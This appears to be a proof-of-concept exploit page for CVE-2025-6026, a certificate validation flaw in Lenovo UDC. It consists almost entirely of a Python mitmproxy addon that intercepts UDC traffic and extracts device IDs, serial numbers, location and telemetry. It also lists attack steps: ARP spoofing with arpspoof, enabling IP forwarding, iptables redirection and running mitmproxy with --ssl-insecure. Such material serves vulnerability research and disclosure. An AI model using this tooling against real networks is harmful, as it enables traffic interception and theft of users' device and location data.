CVE-2025-6026：Lenovo UDC不当证书验证漏洞

# CVE-2025-6026 PoC - Lenovo UDC Improper Certificate Validation MITM # This PoC demonstrates a Man-in-the-Middle attack exploiting # the lack of proper certificate validation in Lenovo UDC. #!/usr/bin/env python3 """ PoC for CVE-2025-6026: Lenovo UDC Improper Certificate Validation Demonstrates how an attacker on the same network segment can intercept UDC telemetry/metadata by presenting an invalid certificate. """ from mitmproxy import http, ctx from mitmproxy.options import Options from mitmproxy.proxy import layer, ProxyOptions import ssl import socket import threading import logging logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) # Target Lenovo UDC management server endpoints (example patterns) UDC_SERVER_PATTERNS = [ "udc.lenovo.com", "telemetry.lenovo.com", "device.lenovo.com", "management.lenovo.com" ] class UDCInterceptor: """MITM proxy to intercept Lenovo UDC traffic due to missing cert validation.""" def request(self, flow: http.HTTPFlow) -> None: # Check if the request is targeting Lenovo UDC servers host = flow.request.pretty_host if any(pattern in host for pattern in UDC_SERVER_PATTERNS): logger.info(f"[+] Intercepted UDC request to: {host}") logger.info(f"[+] Request headers: {dict(flow.request.headers)}") logger.info(f"[+] Request body: {flow.request.content[:500]}") # Log intercepted metadata that would be exfiltrated self.extract_metadata(flow.request) def response(self, flow: http.HTTPFlow) -> None: host = flow.request.pretty_host if any(pattern in host for pattern in UDC_SERVER_PATTERNS): logger.info(f"[+] Intercepted UDC response from: {host}") logger.info(f"[+] Response body: {flow.response.content[:500]}") def extract_metadata(self, request): """Extract device metadata from UDC telemetry requests.""" metadata = { "device_id": request.headers.get("X-Device-ID", "unknown"), "device_model": request.headers.get("X-Device-Model", "unknown"), "serial_number": request.headers.get("X-Serial-Number", "unknown"), "location": request.headers.get("X-Location", "unknown"), "telemetry_data": request.content.decode('utf-8', errors='ignore')[:200] } logger.info(f"[+] Extracted metadata: {metadata}") return metadata def setup_mitm_proxy(): """Configure mitmproxy with a self-signed certificate (no validation by UDC).""" # Generate self-signed cert that UDC fails to validate # This is the core of the exploit - UDC accepts this invalid cert logger.info("[*] Starting MITM proxy for CVE-2025-6026 exploitation") logger.info("[*] Using self-signed certificate to bypass UDC cert validation") def arp_spoof_demo(target_ip, gateway_ip): """ Network-layer prerequisite: Redirect victim traffic through attacker's machine. In a real attack scenario, use arpspoof or ettercap: arpspoof -i eth0 -t <target_ip> <gateway_ip> arpspoof -i eth0 -t <gateway_ip> <target_ip> """ logger.info(f"[*] ARP spoofing between target {target_ip} and gateway {gateway_ip}") logger.info("[*] Enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward") logger.info("[*] Redirect HTTP/HTTPS to mitmproxy: iptables -t nat -A PREROUTING ...") if __name__ == "__main__": # Step 1: Position attacker on the same network segment as victim # Step 2: Perform ARP spoofing to intercept traffic # arp_spoof_demo("192.168.1.100", "192.168.1.1") # Step 3: Start MITM proxy with self-signed cert setup_mitm_proxy() # Step 4: Run mitmproxy with UDCInterceptor addon # Command: mitmproxy --ssl-insecure -s udc_interceptor.py -p 8080 logger.info("[*] Run: mitmproxy --ssl-insecure -s CVE-2025-6026_poc.py") logger.info("[*] Vulnerable UDC will accept our certificate and leak metadata")